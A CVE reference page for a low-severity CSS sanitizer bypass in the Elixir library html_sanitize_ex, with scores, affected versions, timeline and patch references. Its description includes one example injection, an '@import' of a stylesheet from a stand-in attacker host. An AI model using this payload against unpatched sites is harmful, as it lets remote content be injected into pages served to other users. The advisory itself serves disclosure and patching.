CVE-2026-68747 — Security Box Score

CVE · referencelatest edition

Reference page — cumulative record through Wednesday, August 19, 2026 UTC. Reference pages update as the archive grows; only dated daily editions are immutable pages of record.

CVE-2026-68747LOW

rrrene html_sanitize_ex — CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

  AV  AC  AT  PR  UI  VC  VI  VA   CVSS    EPSS   %ile   KEV
   N   L   P   N   P   N   N   N    2.3   .0025   17.2     —

AFFECTED
  Product           Versions                                    Fixed
  html_sanitize_ex  0.3.1 –                                     —
  html_sanitize_ex  21f90012eb21aa36f4e3701b7547e12faf0f3c8b –  0b9f9ad63a7529d4f2c3c1134c371adc3e654308

TIMELINE
  Jul 31  Reserved by EEF
  Aug 6   Published (CNA: EEF)
  Aug 18  PATCH SHIPPED — CVE-2026-68747 (rrrene html_sanitize_ex). Fixed in html_sanitize_ex 0b9f9ad63a7529d4f2c3c1134c371adc3e654308.

CWE-74 · CNA: EEF · CVSS v4.0 · 5 references · NVD status: Analyzed

Description

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Lifecycle

Complete event history — 3 events, chronological
Date	Event	Detail
July 31, 2026	Reserved	Reserved by EEF
August 6, 2026	Published	Published (CNA: EEF)
August 18, 2026	PATCH SHIPPED	PATCH SHIPPED — CVE-2026-68747 (rrrene html_sanitize_ex). Fixed in html_sanitize_ex 0b9f9ad63a7529d4f2c3c1134c371adc3e654308.

Affected

Affected products and packages — 2 rows
Vendor	Product / Package	Ecosystem	Version introduced	Fixed
rrrene	html_sanitize_ex	—	0.3.1	—
rrrene	html_sanitize_ex	—	21f90012eb21aa36f4e3701b7547e12faf0f3c8b	0b9f9ad63a7529d4f2c3c1134c371adc3e654308

Weaknesses

CWE-74

References (5)

https://cna.erlef.org/cves/CVE-2026-68747.html [related]
https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308 [patch]
https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28 [patch]
https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7 [vendor-advisory, related]
https://osv.dev/vulnerability/EEF-CVE-2026-68747 [related]

Authoritative record: CVE-2026-68747 at cve.org

Vendors: rrrene

Weaknesses: CWE-74

About this page

This is a reference page, not a dated page of record. It assembles the complete lifecycle of CVE-2026-68747 from the CVE Program record, NVD enrichment, the CISA KEV catalog, EPSS, and OSV advisories. The box score's numbers (CVSS, EPSS, KEV status) are current as of Wednesday, August 19, 2026 UTC and are re-derived as the archive grows; only dated daily editions are immutable pages of record. The authoritative source for this identifier is cve.org.